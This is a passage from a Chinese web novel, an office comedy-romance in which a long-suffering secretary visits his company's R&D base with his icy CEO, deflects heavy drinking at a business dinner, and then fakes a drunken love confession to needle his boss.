发现腾跃被Roderich渗透后,扶光紧急又验收了一遍合同到期前对方送来的最后一批原料,万幸并无大碍。不过这并不能让人放心,之后扶光拒绝腾跃的合作是板上钉钉的事,而失去这条稳定供应链,各方面都或多或少的要受到影响,虽没造成具体损失,但也足够令人头疼。 在这个节骨眼上犯错,不被训都是奇迹。 就目前情况,一天内连续揪出底下员工犯错,显然盛溱是上火了一阵。 陈裕青审时度势,决定接下来少说少错,省得对方的火气转移到他头上来。 盛溱眼底仍残留着冷怒,看见他进来,视线只偏移了一瞬,点了点桌子,笃笃几声闷响像是敲在人心头:“这种低级错误我不希望再看见一次。出去吧,这次失误计入年终考评。” 犯错员工顿时如蒙大赦,点点头就忙不迭走了。 陈裕青目视对方离去,而后上前把报告递给男人:“盛总,研发部说‘金乌’有了新进展。” “嗯。” 盛溱接过,翻了翻,忽然开口:“这次你怎么没替他说话?” “......嗯?” 陈裕青懵了一下,很快反应过来对方话中的“他”指的是刚才出去的那名犯错员工,顿时就有些莫名其妙。 他虽然对外一直都是脾气好、气场温和的模样,遇到有人困难时在不影响自己的前提下会顺手帮一把,一般来说被盛溱骂的时候,有他在确实气氛会好一点,但他也没到大爱无疆见一个捞一个的程度吧? 正当陈裕青腹诽的时候,他福至心灵,忽然记起很久之前好像是有这么个事。 当时那员工才入职没多久,还是个新人,因为不熟悉文件格式打印出错,被盛溱骂了个狗血淋头,见对方都快哭了,他就打了个圆场。 没想到被记住了。 这狗记性。 陈裕青磨牙,面色却平静:“数据至关重要,盛总疾言厉色是对的。” 盛溱闻言微微挑眉,抬眼看过来,意味不明:“是吗,我还以为陈秘书总是这么热心肠。” “......” 热心助人的陈秘书绷着脸,没猜出来这话的意思也懒得猜,偷偷骂了几句傻逼。 好气,但忍了。 怕被狗咬。 骂着骂着,陈裕青忽然间想到了什么,走神了一瞬,悄悄瞄了一眼办公椅上坐着的男人,没到两秒又飞速收回来,手背上起了一层鸡皮疙瘩。 噫。 这点小动作没让盛溱察觉,他合上文件对陈裕青道:“去一趟研发基地。” 陈裕青倏然回神。 应道:“好的。” “金乌”不是鸟,而是扶光秘密研发的一种新型医疗器械。 研发基地也不在公司,在距扶光总部有大约二十多公里的郊外。 那里保密程度很高,出行皆有记录,非扶光内部人员不可入内。 不过陈裕青作为盛溱的得力助手,左膀右臂,基本上扶光大大小小的事都要经过他手,显然不在保密的范畴之内。 宽敞整洁的实验室里,空气过滤系统徐徐运作,发出几不可闻的嗡鸣。 身穿白色防护服包裹得严严实实的研发人员分散在各个实验室内,一丝不苟的完成手中任务,如同勤勤恳恳的工蚁。而另一些,则簇拥着中心的两人。 “不错。” 盛溱脱下防护服,和其他研发人员离开实验室,陈裕青紧随其后,听项目总负责人汇报。 “......目前金乌已通过样品基础测试,功能一切正常,达到预估水准,日常场景模拟测试也表现良好,不过极限条件下还没测试过。”总负责人说道。 极限条件指的是高温、低温,极端湿度等环境,对于医疗器械来说,能否在极端条件下顺利运行至关重要。 盛溱点头,和旁边的陈裕青一起看各项数据。 繁杂庞大的数据背后是精密的计算,看得人眼晕,但在研发人员眼里,却是多日努力即将成形的激动与喜悦。 “算法速度上还有没有机会提升?” “这方面团队已经在着力推进了,短时间内成果不大,初代速度已趋近极致,未来二代或许有明显提升。” 总负责人说完,盛溱嗯了一声,他看了陈裕青一眼,陈裕青从善如流收起报告,和对方缓步向前。 两人隔着一道玻璃望着里面闪烁着冰冷金属光泽的精细器物。 不得不说,这尊机械造物肉眼看起来时真的很震撼,在注重性能的同时,外观也没落下,运作起来的时候,几条机械臂展开的模样酷似一只张开翅膀的鸟,取名金乌倒颇为贴合。 陈裕青看着,内心由衷的感到赞叹。 不愧是费时费力研究出来的产物。 其实最开始的时候,扶光并没有专门的研发基地,也没那么大,只是一个做传统医疗器械的小公司,在上世纪末由前任董事长盛泓丰,也就是盛溱的父亲创立。后来随着时代发展不断扩张,规模越来越大,又不断投资发展其他方向,最终整合成为集团,命名扶光。 在盛泓丰在任期间,扶光已发展到一定规模进入平稳阶段,表面看着欣欣向荣,实际由于守成而隐隐有些走下坡路。直到几年前盛泓丰因病骤然去世、盛溱上位成新的CEO兼董事长,敏锐察觉扶光平稳之下的弊端,开始不断创新攻克新技术,扶光又重新焕发生机。 研发基地就是那时建的,目前已有不少成果问世。 最新的一项,就是眼前核心技术算法辅助治疗,三年前立项的机械与人工智能结合的高精尖医疗器械,“金乌初代”。 “还需要多少时间?” 陈裕青听见身旁人又问。 “用不到半年,一切顺利的话三月内就能面世。” 听到这句,盛溱勾了勾唇:“很好。” 三月,很快了。 有了金乌,扶光在行业内的地位又将上升新高度,而在国外,也将凭借前所未有的新技术打破垄断局面,在这方面拥有绝对话语权。 大概一直计划的东西终于有了影子,陈裕青能感受到对方心情很不错,哪怕面色不显,也能从语气里读出来,其强烈程度和早晨逼迫他磨咖啡成功不相上下。 “走吧。” 从基地出来,两人准备返回扶光。 盛溱抬腕看了下时间:“晚上还有个酒局,你安排一下。” 陈裕青应声,看了看行程,问:“晚上八点?” “可以。” 大半天的时间都耗在了实验室里,后头又要处理行程,对接商务......也就路上这段时间可以稍微放空一下,陈裕青看着天边秾丽的火烧云,不觉走神。 走着走着,他神色忽然变得古怪起来。 原因无他,是他又想起了午休看过的帖子。 那个什么,表白上司后涨薪了的。 这个帖子给陈裕青的印象相当深刻,说实话后面的发展他没再关注了,但只单单看到那,就好似受到了精神污染。 帖子里楼主的崩溃老板的丑恶,以及后面发癫的操作和令人跌破眼球的反转都还死死停留在陈裕青的脑海里,时不时地蹦跶两下刷刷存在感,就像现在。 脑袋里回放着网友们的“学废了学废了”,听多了后,他心底某个角落居然诡异得有点蠢蠢欲动。 发疯表白后涨薪,涨薪......涨薪这个确实很诱人啊,虽然他薪酬不低,可谁会嫌钱少呢。再者发疯,有时候压抑久了的确会很想发个大的,不过老板真的会是这种反应吗,按盛溱的性格,吓到应该不至于,估计会恶心得够呛吧,那真的很有意思了...... 陈裕青想着,一激灵,连忙把这种恐怖的念头摁回去。 可管得了脑子管不了眼神,他的目光再一次不由自主投注到自己的上司身上,带着两分复杂两分审视四分若有所思。 可能是视线里的情绪过于浓烈,连平常不在意他人眼神如何的盛溱都察觉到了。 “有事?” 盛溱扭头看向自己秘书,狭长黑眸含着锐利,精准捕捉到对方还没来得及收好的那一丝恍惚。 陈裕青即刻回神,眨眨眼,“没。” 盛溱没说话,抿着唇,眼神还是定在陈裕青身上。他瞳色本来就黑,加之多年掌权的威势,一声不吭没什么表情定定瞧着人的模样,让已经习惯了盛溱作风的陈裕青都有点寒毛直立。 好在陈裕青并没表露出什么异常,还是平素那副精英姿态,微微扬着下巴,目光清澈,神情淡定,任由对方打量,一副问心无愧的样子。 半晌,男人收回视线,两人继续迈开脚步。 脚步声间错响起,偶尔贴合一拍,无序且杂乱。但这是日常听惯了的节奏,陈裕青急促的心跳渐渐平缓。 就看了两眼居然就被逮到了,狗男人是背后长眼睛了吗? 陈裕青不由心里吐槽。 幸亏他伪装得当。 可这口气没松多久,属于上司的声音在耳边突然响起。 “你最近真的很奇怪。” 冷不丁的一声,惊得陈裕青差点左脚绊右脚。 他连忙调整步态,并收敛表情,好让自己看起来没什么端倪。 “......哪里奇怪,盛总是在开玩笑吗。” 盛溱目光在青年脸上来回打量,落进对方微弯的笑眼里,没有回答。 一时间,两人之间陷入了沉默,令人无所适从。 陈裕青镇定地抿了一下嘴角,脸颊一侧的酒窝在这一瞬一闪而过。 他还想再说些什么,却发现走在他旁边的盛溱已经转回了头,映入眼底的男人半张侧脸上是一贯的冷漠,对方的声音在风声中毫无阻隔的传过来:“随你怎么认为,总之,不要以个人原因影响工作。” 陈裕青一愣:“我最近没有被影响工作。” “是吗,那样最好。” 盛溱依旧没有回头。 对方冷冰冰又不置可否的语气听得陈裕青一阵语塞加莫名其妙。 有病吧? 他怎么影响工作了? ......难不成指的是他刚刚走神?? 想到这的时候,陈裕青更加莫名其妙了,还有点上火。 好家伙他直呼好家伙,每当他觉得盛溱已经够挑剔了的时候,对方总会干出点什么刷新他认知的新高度。看两眼都不行?真当自己是金子做得了这么金贵! 过于气愤以致于陈裕青开始阴暗猜想,是不是因为这人洁癖已经严重到被人看上一眼就浑身难受了,哈哈那可真是太好了,他就看他就看!一天到晚看,三百六十度无死角看,难受不死你!!! 即便内心已经癫得没边,可陈秘书的面上功夫还是做得极好,优雅沉稳,只脚步略重了些。 进公司的时候,盛溱不觉扫了一眼跟在自己旁边的秘书,见对方微垂着眼睫面色平静,又没什么情绪地收回视线。 将近晚八点。 虽然因为傍晚时分被上司莫名其妙挑剔了一通,导致心情不太美妙,陈裕青还是打起精神安排起接下来的酒局。 就像他一贯做得那样令人挑不出错。 他就说,他从来没有因为别的事情影响延误过工作过,盛溱那纯纯是污蔑!! 有他这样好的秘书,哪个老板不得烧香拜佛跪迎? 陈裕青想着,在对方看不到的地方偷偷白了一眼,然后和“不长眼也不识相”的上司一同进了酒店。 八点,盛溱准时踏入包间。 宽大又装潢奢华的包间里,坐着好几个人在小声说着什么,似乎意见不一又勉强达成一致的样子,听见门口的动静,都一同看过来,随即为首的一个穿着商务西装、有些矮瘦的中年男人殷切起身。 “哎呀盛总,好 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他看着举着酒杯的中年男人,没有丝毫要接过的意思,直言:“我不喝酒。” 黄威抬了一半的胳膊定在空中,有些错愕,脸上还保留着那种热情谄媚的笑,瞧起来有些滑稽。 “这......” 看见这一幕,陈裕青嘴角不自觉上扬微小一个弧度。 和盛溱一块参加饭局酒局,最有意思的就是看对方把想拍马屁的,别有心思的,噎得话都说不出来还得憋着的模样,这让他感觉天底下不是自己一个人在受苦。 再者这个中年男身为东道主,居然还没等客人来就已经把餐品上好了?也是稀奇。 陈裕青心里啧啧两声。 有一个嘴毒脾气不咋样的上司,陈裕青在调节气氛方面可谓炉火纯青。他在静默的尴尬氛围中笑眯眯自然而然接过话茬:“我们盛总酒精过敏,真是不好意思,黄总的这杯我来吧。” 一句话,既解释了原因又给人递了台阶。 “......好好,”黄威缓过来神,勉力把刚才的一抹难堪咽下,又挂上了笑容,“这位就是陈秘书吧?陈秘也是相貌堂堂,能跟在盛总身边肯定也不简单,我家小辈要是有二位一半出彩就不错了......” 陈裕青礼貌一笑没有多言,利落地喝完了一杯酒。 他顺势问道:“听闻贵公司想订购一批扶光的医疗设备?” “哈哈,是的是的......”黄威看了主座上默不作声的盛溱一眼,又倒起了酒,含糊着,“扶光的东西好谁不想要,不过难得见到盛总一面,先吃菜喝酒,订购的事情不着急,来来,这一批红酒可是我珍藏的,陈秘见多识广想必定能品出其中滋味,白的也不错......” 其余人也纷纷向陈裕青敬酒,嘴里说着恭维的话。 眨眼间,陈裕青就喝下了几杯敬过来的红酒白酒。 要是看不出这些人是抱着灌酒的心思,那他也白混了,陈裕青想,什么年代了还搞灌酒那套,来之前就没打听打听盛溱的作风吗,戚氏的人也是奇怪,难不成是看来的就他们两人,临时想的灌醉了好借此多捞点好处...... 伴着说话声,几张挂着笑的脸在酒杯间轮错流转,被晃荡的酒液扭曲成各种难看形状。 陈裕青心情差了一点,但他没有表现出来,依旧是温温和和的样子,不动声色放慢了喝酒速度,并利用话术无知无觉让那几个敬酒的自己把酒喝下去,这是他酒场上练出来的技巧。 能喝酒,又不代表爱喝这么多酒,但也没办法呀,他只是个悲催的打工人。 陈裕青眨了眨眼,眼眸中蒙上一层水光,刻意让自己显出了几分醉态。 一杯酒又递了过来,然而劝酒的话语却被一道冷音打断。 “没有诚意的话,就不必再谈了。” 盛溱起身,摁下陈裕青手里那杯酒。酒杯接触到桌面发出嗒的一声轻响,殷红的酒液晃了晃又落下,在透明杯壁上挂上一层猩红。盛溱黑眸扫了一眼随之站起来的中年男人,轻嗤一声:“这就是戚氏的姿态?见识了。” 黄威惊愕,慌乱起身:“这,盛总——” 盛溱没看他,看向陈裕青。 青年坐在那,西装下脊背挺拔,白皙面容上泛起几乎看不见的浅浅一层薄红。微微扬着头看他,深棕色的眼睛不知是被头顶的灯光照的,还是醉意升上来了泛起水光,显得格外的亮,竟让人觉得矜持温雅的表象下有一丝乖巧。 盛溱垂眸:“走。” 陈裕青站了起来。 后头几个人也惊慌地跟着走了两步,想挽留又碍于男人的气势不敢挽留,面面相觑,最后只能眼睁睁看着两人离开。 看着人影彻底消失,黄威的表情格外的差。 他踹了脚凳子,骂骂咧咧:“怎么回事,这个盛溱怎么这么难搞?比我儿子大不了几岁的年纪毛都不知道长没长齐,不就开了个破公司吗拽什么拽......” 后续的话语淹没在重新关上的门内。 离开包间,远离了混在一起的酒气和虚伪的应酬,陈裕青深呼吸了几口外头的空气,盯着前头男人宽阔的后背,落下去的心情回升了些许。少喝不少酒,还提前结束酒局,他挺高兴的。 他对盛溱的做法不意外,戚氏想合作却又搞这一套,对方本来就没什么耐心。 “他们让你喝你就喝?” 正想着,上司的话突然过来了,对方皱着眉,“你平时不是挺精的吗,怎么这时候这么笨。” “......” 陈裕青回升的心情又落了回去,在男人背后面无表情。 喝喝喝,他喝酒都是为了什么,还不是因为你酒精过敏都是替你挡的!再说他也不是盲目全喝了,两杯下肚见势不对不就调整策略了吗! 烦死了! 本来喝了酒就烦! 陈裕青翻了个白眼。 不知是酒劲上来了,还是一天之内被气了好几次闷在心里憋得慌,陈裕青只觉得无比烦躁。 他闷不吭声继续走,走出酒店的时候,夜风一吹,脑子里不知为何鬼使神差又冒出来了那个帖子的内容,越想越深刻,跟漩涡似的吸引着他。 “不说话,哑巴了?” 一阵夜风又吹来,卷起路边的落叶发出唰啦唰啦的声响,风扑在皮肤上带起一阵阵战栗。注意到上司拧着眉又想要说什么,陈裕青一个激灵,恶向胆边生,没想太多就脑子一热鬼迷心窍扑了上去—— “我喜欢你盛总!” “我就知道你是关心我的!” 5. 第5章 盛溱骤然被抱住,整个人猛地一僵。 他刚刚想就酒局上的事复盘一通,让自己秘书不必如此规矩,他不喝酒,那么跟在他身边的陈裕青自然也不用,没必要,他发那么高的工资不是为了让自己的得力秘书在这种事上费神的。 谁知嘴里的话“你”字才起了头,身后就猝不及防传来一阵冲击,扑的他脚下踉跄一瞬,还没来得及震怒,一双胳膊就从后面搂了上来,死死箍住他的腰,搂得盛溱脑子一片空白,什么想说的都飞得无影无踪了。 盛溱有洁癖,也不习惯和人近距离接触,眼下发生的一切都超出了他的想象。他该是愤怒的难以置信的烦躁的,该冷冷推开身后人让其自重,可是心底情绪还未彻底成形,就被身后传来的哭嚎声打断,嚎的盛溱脑子一蒙,本就空白的大脑更空白了。 空白得他只有一个念头。 这都是些什么? 然而就是再空白,他也能知道抱住他的就是他的得力秘书。 盛溱僵在原地,急喘了口气,紧了紧因为情绪起伏过大而有些抖的手,努力维持住声线,冷声:“陈裕青,你——”你造反? 结果刚出口就被新一轮哭嚎打断。 “哇啊盛总我是真的喜欢你呜呜呜......” “呜呜呜如果不是因为喜欢你,也不会被你骂了四年了也舍不得走。” “呜呜呜呜呜——!” 陈裕青无师自通,发疯告白的话张口就来。 他酒量很好,喝了几杯酒醉酒不至于,有点上头倒是真的,再加上这一天被狗上司刺了太多次,破事太多,就更上头了,以至于居然真的生出了几分醉意,胆大包天做出了平时绝不会干出的事。 当抱住上司喊出发疯第一句,感受到胳膊底下的躯体骤然绷紧,仿佛天晴了雨停了,彗星撞地球恐龙灭绝了,陈裕青满脑子只有一个字:爽! 爽啊,癫的好爽啊。 一癫起来就发狠了,忘情了,没命了!百十个发疯的后生,如百十块被强震不断击起的石头,狂舞在你的面前!骤雨一样,是急促的鼓点!旋风一样,是飞扬的流苏!乱蛙一样,是蹦跳的脚步!火花一样,是闪射的瞳仁!斗虎一样,是强健的风姿!酒店外,爆出一场多么壮阔、多么豪放、多么火烈的发癫! 陈裕青死死扣住上司的腰,对方越是僵硬越是推拒他就越是舒爽,不是洁癖吗不是冷淡吗,他看对方要怎么办! 他从盛溱后面抱着,仗着对方看不见,光打雷不下雨,假情假意大声干嚎,没有一丝感情,全是对狗比上司的不满,完全摒弃了自己平日恪守的完美形象。 嚎着嚎着,想起自己工作中受过的苦,真给自己嚎委屈了。 陈裕青眼泪不由自主冒了出来,委屈的可以,还是不含一丝的感情,全是对自己社畜生涯的真情流露,原本干巴的大声干嚎也渐渐变成了细碎哽咽,听着更动人了。 “呜呜呜呜哇啊。” ——他好惨啊好惨啊! “我说我喜欢你一直都喜欢你,你听见了吗我喜欢你!” ——狗东西狗东西狗东西! “你怎么就不懂呢呜呜呜......” ——不通人性的东西都去鼠啊! 陈裕青吸了吸鼻子,泪眼朦胧间,看见自己面前一小块布料被洇湿成深色,且还有越扩越大的趋势。 发现自己眼泪蹭到对方西装上的那一瞬陈裕青其实是有点心虚的。 盛溱的西装可老贵了,全是不知名牌子的纯手工私人定制,一套顶他一个月工资还多,他把眼泪蹭上去了,对方发现了不会要他赔吧? 可转眼间陈裕青就把这个念头踢出了脑海。 玛德癫都发了他还怕这个? 伴着说不清道不明的念头,陈裕青把脸埋在对方的后背上,用力的蹭着,试图用自己挤出的几滴眼泪给这套西装洗洗澡,恶心死对方。 别说,狗上司身材还挺有料,窄腰宽肩,他抱上来的时候能透过衣料感受到胳膊底下绷紧的肌肉,陈裕青更嫉妒了。 “——陈裕青!” 发现对方变本加厉,毛茸茸的脑袋在自己后背使劲蹭,带起一阵阵忽视不了的痒意,从没经历过这些的盛溱彻底不淡定了,冷淡的表情裂开,死死抓着对方箍在他腰间的手臂,厉声呵了一句,语气里有着他自己都没察觉到的惊慌。 只可惜起到了反效果。 他说完对方蹭的更来劲了,还拿脑袋在他后背顶了一下。 “你凶什么凶!你以为我喝酒是为了什么,还不是因为我舍不得你受这份苦所以全喝了,结果你还这样说我呜呜呜!” “但我不怪你,只要你是关心我的就好了。” “其实每次你骂我的时候,我表面上难受实际心里很开心,因为这样你就能多和我说两句话,你对我和对别的员工都不一样,我好高兴,我、我,呜呜呜我真的太喜欢你了盛总!” 夜风吹开厚重的云层,皎月照亮了酒店外角落里拉拉扯扯的两人。 一声又一声的真情告白伴着低低的泣音,回荡在这处空间,也砸在盛溱的心头,砸得他面色僵硬,手脚僵硬,整个人如一尊石化的雕像。 他听着青年原本清亮的声线因为哭喊而变得喑哑,他的喉头也跟着有些哽塞难言,不知是气的还是吓的。脑中乱成一团,难以置信想:他的秘书平日里对他抱着的居然是这种感情吗? 远处传来热闹的人声,仿佛就在耳边,与这处僻静地好像是两个世界。幸亏他们走到了停车场附近,没什么人,不然盛溱要更加头疼。 他攥着青年的胳膊,深吸一口气,努力绷着理智:“......你先放手。” 陈裕青哭嚎:“我不!” “放手!” “我不!!!” 陈裕青反而抱得更紧了。 因为他清楚的知道机会就这一次,怕一松手盛溱有了防备就再也发不了疯了。 陈裕青又大声哭喊发疯了起来,仿佛质问:“你是不是不相信我的感情!是不是想让我放手然后狠心开除我!呜呜呜我就是想待在你身边这都不行吗呜呜呜呜呜......” 盛溱被喊的浑身一震,额角青筋跳了两下,没有办法,只得放低了声音低低解释:“......我不是这个意思。” “那你是什么意思呜呜呜......” 盛溱感到无比头疼,他紧紧抿着唇,攥着对方的胳膊用力把对方从自己后背处揪到身前来。然而陈裕青抱他的力气也很大,一时之间盛溱居然没有拉扯开,反而像是使得对方环着他的腰转了一圈,转到身前来依旧死死抱着他。 泣音从后转到前面,更令人无所适从,盛溱忍不住捏起对方的脸拉开一部分距离。 “你现在松开我我还可以当作没发生这件事......” 盛溱还抱着让对方平静下来的期望,可是当他低头看见对方的脸,不由得失声了。 青年双臂环着他的腰身,抬起的脸上布满泪痕。那张白皙的面容被酒意熏染的泛上一层粉,更好看了,深棕的瞳仁蒙上水雾,哭的太狠眼尾都是红的,被捏起脸看着人的模样梨花带雨,无辜又可怜,还在小声的抽泣。 一滴泪珠随着眨眼的动作从对方脸上滑落,落在盛溱的掌心,仿佛被这滴眼泪的温度烫到似的,他慌忙收回手。 盛溱喉头艰涩滚动两下,僵硬撇开视线。 “......你喝醉了。” “我没醉!” 盛溱深知不应该与醉鬼计较,可额角青筋还是跳了跳。 他抬起头,环顾了一下四周,发现远处涌动的人影,因为突遭秘书表白而混乱的思绪短暂地回归了一瞬,黑眸深处划过锐利,“我们先离开这再说。” “不要!我不要离开你!” 陈裕青现在已经掌握了发疯的精髓,不管黑的白的,通通整成深情不悔的! 说着,他还悄悄把脸上的水痕蹭对方前襟上。 盛溱没有再说话,反正说了也没用,他忽然有些后悔来这个该死的酒局,不仅听了一耳朵废话,浪费了时间,还把他的得力秘书变成现在这副鬼样子。他把这笔帐狠狠记在戚氏身上。 盛溱闭了闭眼,再度深吸一口气,低头看了看依旧搂着他脑袋埋在他身前的青年,认命地就着这个纠缠在一起的姿势,别扭地拽着青年的胳膊往前走。 两人就这样姿势奇怪地一步一挪,月光下的影子都叠在一起。 这个时候盛溱已经完全没有意识到自己其实是不喜欢别人的肢体接触了的,那点抗拒和洁癖在眼前的复杂场面前就像一层薄纸,不堪一击。 来时,是司机载着他们来。 司机就等在车里,酒局结束再把他们送回去。 如今,车就停在不远处。 可这点走不了几步的距离现在像是被放大了十倍,盛溱走的格外漫长。 中途的时候,陈裕青还没有浪费这点时间,誓要将发疯贯彻到底,不断用语录攻击上司。 于是盛溱的耳朵里就一路充斥着我喜欢你我爱你等语句,听的他本就紧绷的俊脸更紧绷,疑似麻木。 然而到了车前,司机迎接他们的时候,挂在他身上喋喋不休的青年突然老实了。 陈裕青虽然发疯发的爽了,但还是要面子的,他可以在盛溱面前无所吊谓的发疯,抛弃形象,但有外人在,他的那点子矜持又重新上线,果断闭嘴,挂在盛溱身上装酒醉,像个大号挂件。 盛溱不知道这一点,只当青年喊累了,耳边终于消停,他心里不免一喜,麻木僵硬的俊脸恢复一丝神采。 司机小王是个和他们差不多大的年轻人,看见两人纠缠的身影,尤其是软绵绵倚在盛溱身上头往下垂好像没意识了的青年,嘴巴张成o形,一边打开车门一边震惊:“哎哟陈秘这是......” 盛溱浑身一震,抢先:“他喝醉了!” “......我知道啊,”司机小王奇怪地看了老板一眼,不明白老板为什么说了句废话,但也不敢问,就小声,“他这样一看就是喝多了,喝多了的人都这样。” “......” 盛溱轻微一僵。 垂着头挂在盛溱身上的陈裕青偷笑了一下。 “不过陈秘这样是坐前面还是坐后面?”小王看着青年软绵绵的样子,有点苦恼。 陈裕青也有些犹豫,一般来说他是坐副驾的,但目前这情况,他是放手呢还是不放手呢?他想到自己发疯的目的,既然是为了发泄情绪恶心上司,那肯定是对方怎么不愿怎么来咯,盛溱这个死洁癖肯定不愿意有人一直粘着他,巴不得把他脱手,那他肯定不能这样。 于是陈裕青当即收拢手臂,用了更大力气搂住,挂件升级,全新材质强力粘胶掉落包赔! 被司机一点,盛溱这时候也终于意识到青年还缠在他身上,且还是扯不开,面色不由得一黑。 他沉默片刻,头疼无奈道:“......他和我一起坐后面。” 于是两人拉拉扯扯到了后座。 车缓缓启动,望着车外倒退的风景,靠在椅背上,盛溱方才那种大街上裸| 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这人有多吵只有他知道。 也幸好只有他知道。 而这时候,一直老老实实的青年又出声了。 陈裕青听见了他们的对话,故意恶心人,坏心眼哼唧:“盛总,盛总,呜呜呜,我好喜......唔唔!” 一只大手忽然捂了过来,陈裕青伪装出醉意的眼睛霎时瞪圆。 唔唔唔! 怎么还手动闭麦呢! 不讲武德! 盛溱浑身僵硬,不顾自己的洁癖,强行中止。 这动静引起了前头小王的好奇:“怎么了?陈秘刚刚想说什么?” “没什么!好好开你的车!” 盛溱下意识反驳。 “......是!” 小王激灵了一下,老实了,闭紧嘴巴,握着方向盘正襟危坐。 车里再度恢复安静,但盛溱却完全不敢放开手了,手还捂在青年嘴巴上。 掌心下的柔软唇瓣温热,呼出的热气湿润,混在一起形成了一种特殊的触感。被盛溱遗忘以久的洁癖顿时发作,俊脸扭曲一瞬,条件反射想把人推开,可在那一瞬理智又上线,想起对方醉酒的话,又不得不硬着头皮,比先前更大一倍力气扣在对方脸上,指隙间挤出脸颊肉。 在后视镜里猝不及防和偷偷看过来的司机小王对上视线,盛溱沉默两秒,僵硬地扯了扯嘴角:“......他有点想吐,我在帮他。” “哦哦,这样这样......” 小王赶忙收回视线,盯着路面。 妈呀老板眼神好恐怖! 盛溱就这样维持着诡异的姿势,面无表情坐着。 回家的路更漫长了。 度日如年。 不知道过了多久,车进入一个高档小区,停在一栋楼下。 “到了,”安静好久的小王终于能说话了,他小心瞄了一眼面无表情的老板,又看了看醉得彻底的陈裕青,犹豫着试探问:“陈秘这得有人扶他上去吧,要不我送他回家?” 盛溱顿时警铃大作:“不用,我送他,你在这等我。” “......好的。” 小王应声。 他看着平时高贵冷艳退人于三米之外的老板,亲自扶着青年下车,不由得感叹万千。陈秘果然不愧是老板的得力下属,这都放心不下,还得亲自送回家,啧啧。 盛溱从青年口中得知了门牌号,坐电梯上去。 他其实是知道陈裕青住哪个小区的,以前应酬完毕,司机把他们送回家的时候,也来过几次,不过都是停在楼下,上来还是头一次。但这第一次来,盛溱也没有那个心情去打量周边环境了,全副心神都用在应付扶着的醉鬼身上。 “开门,开门会不会?” 盛溱硬着头皮问。 最后一段路陈裕青也没有浪费,趁着没人继续发疯,把这点时间利用的淋漓尽致,完美扮演一个爱在心口难开憋到彻底变态醉后表露真情的秘书形象,让路上的盛溱很是手忙脚乱了一段时间。 最后到门口的时候,他竟然能从素来临危不乱的盛溱语气里听出一种如释重负来。 陈裕青憋笑。 他一边输着密码,一边发疯:“密码是什么来着,12345......5,5,520!是520!盛总我爱你啊!” “呜呜你以前总说我笨,我也觉得我笨笨的,总是记不住你的好,所以为了时时记住,我把你的生日加上520设为了密码,这样我每输一遍密码,就在心里偷偷爱你一遍......” “有时出门故意忘带东西,就是为了多爱你一次,心里甜滋滋的。” 八位密码确实有这几个数字,但不是520,是0205,他的生日加手机尾号,嘻嘻。 陈裕青手速极快的输完,门开了。 他哇的一声作势扑过去:“呜呜呜呜你让我朝九晚五熬夜加班频繁出差不涨工资都可以,只要能让我继续喜欢你!盛总!” 盛溱虎躯一震,转身离开。 “你到家了,好好休息。” 说完头也不回地走了。 转眼间就走出一段距离,步伐迈得极大,走得虎虎生风,仔细看背影还有那么一点仓皇。 陈裕青在门口缓缓站直了身子,擦擦挤出的眼泪。 小样,玩不死你! 6. 第6章 次日,陈裕青一觉睡到七点半。 昨天晚上发了一通疯,并没有影响到他什么,他在门口静静看着上司仿佛后面有东西在追一般急匆匆离开,然后关门,然后洗澡洗漱换睡衣躺床上,手机都没玩就睡着了,一夜无梦,醒来神清气爽。 陈裕青懒懒打了个哈欠,揉了揉自己毛燥燥的头发。 晨光落在他身上,深栗的发色变得浅了一点,透着点金色。翘起的发丝在光线中清晰可见,乱糟糟的,像是一只睡眼惺忪还没来得及打理毛发的小狗,透着股慵懒。 好爽。 那种发疯带来的余韵似乎还在身上残留了一些,陈裕青这会儿仍旧心情舒畅,呆呆坐着只想细细品味一番。 其实昨晚他是真的被气到了,所以才临时决定发个疯,那时候一切全凭本能在行动,脑子里只有恶心上司这一个想法。或许酒精也起到了一定作用,他虽然没醉,但酒劲放大了他的情绪,效果比预想的还要疯狂。 现在彻底清醒了,理智在线,再回想昨晚发生的一切,像是在看电影似的。陈裕青先是对自己的疯癫行为心情复杂了一阵,试图催促自己不要太在意包袱形象,紧接着跳转到上司对此的反应,顿时就不在意了,嘴角也翘起来,满脑子只有一个爽字。 好爽。 涨不涨薪的无所谓,能涨更好,他纯粹就是想恶心恶心盛溱。 光这点,就足以磨灭他的怨气,让他时时充满笑容。 想到这些,陈裕青一个振奋,瞅了瞅手机微信里从昨天就安静如鸡的某人对话框,浮起一个坏笑,捧起手机一本正经打字过去:【盛总,昨晚是你把我送回来的吗,太感谢了】 想了想,又补了一个:【玫瑰#玫瑰#】 那边依旧安静,像死了一样。 嘿嘿。 陈裕青自己乐了一会儿,从容下床洗漱准备上班。 到了公司陈裕青依然很冷静。 他冷静地和门卫打招呼,冷静地和保洁阿姨打招呼,冷静地和员工打招呼,心态稳得一批,和以前没什么不同。可能是发疯把郁气全都发出去了的缘故吧,他现在整个人平静得犹如圣人,散发着圣光。 这点异常也被别人发现了,几个小员工瞅着青年的背影,凑一起小声说悄悄话:“陈秘今天看起来好不一样啊,好像更帅了,帅的发光!” “感觉陈秘很高兴,是不是要升职加薪了,好羡慕。” “哇,那怪不得高兴,两眼写着原谅全世界,不过话又说回来,这也羡慕不来吧,咱们上班都是死气沉沉的工位上一坐跟蹲局子一样,陈哥天天容光焕发的,他不升职加薪谁升职加薪啊......” 容光焕发的陈裕青嘴角噙着淡淡的微笑,准备开始今天的工作。 工作也和以前没什么两样,他驾轻就熟。 只是去拿文件的时候,角落里却意外听见了几个凑一块的商务部员工大倒苦水。 “......这班真他妈上不下去了,死秃驴韦昌贱得没边了,喜欢摘桃不说,背锅还让我们来,靠,傻逼吧!!” “就是,这次和腾跃的续约,还没搞完呢就给拿走交上去了,我当时都惊呆了,想着他拿走那他自己负责呗,结果他被盛总骂了后,恼羞成怒居然反过来甩锅说我们工作不负责,还扣绩效工资,真是小刀喇屁股,开了眼了!” “何止呢,盛总要他尽快收拾烂摊子找新的供应商,结果这活又落我们身上来了,他倒是轻巧。” “主管也和他一伙的,真心受不了了......” 在公司里最不缺的就是八卦,陈裕青本来以为只是员工们吐槽点什么发泄发泄压力,没想到能听到这个。 他就说那份合作案错漏百出看着跟做到一半就交上来的,原来真是半成品啊。 半成品都敢交给盛溱看,这人是真不怕被骂还是有恃无恐? 想起昨天早会后对方临走前瞪他一眼这件事......陈裕青挑挑眉。 当秘书当了这么多年,他可没少和各部门一把手打交道,他记得似乎从最开始的时候,韦昌就是商务部的总监了。 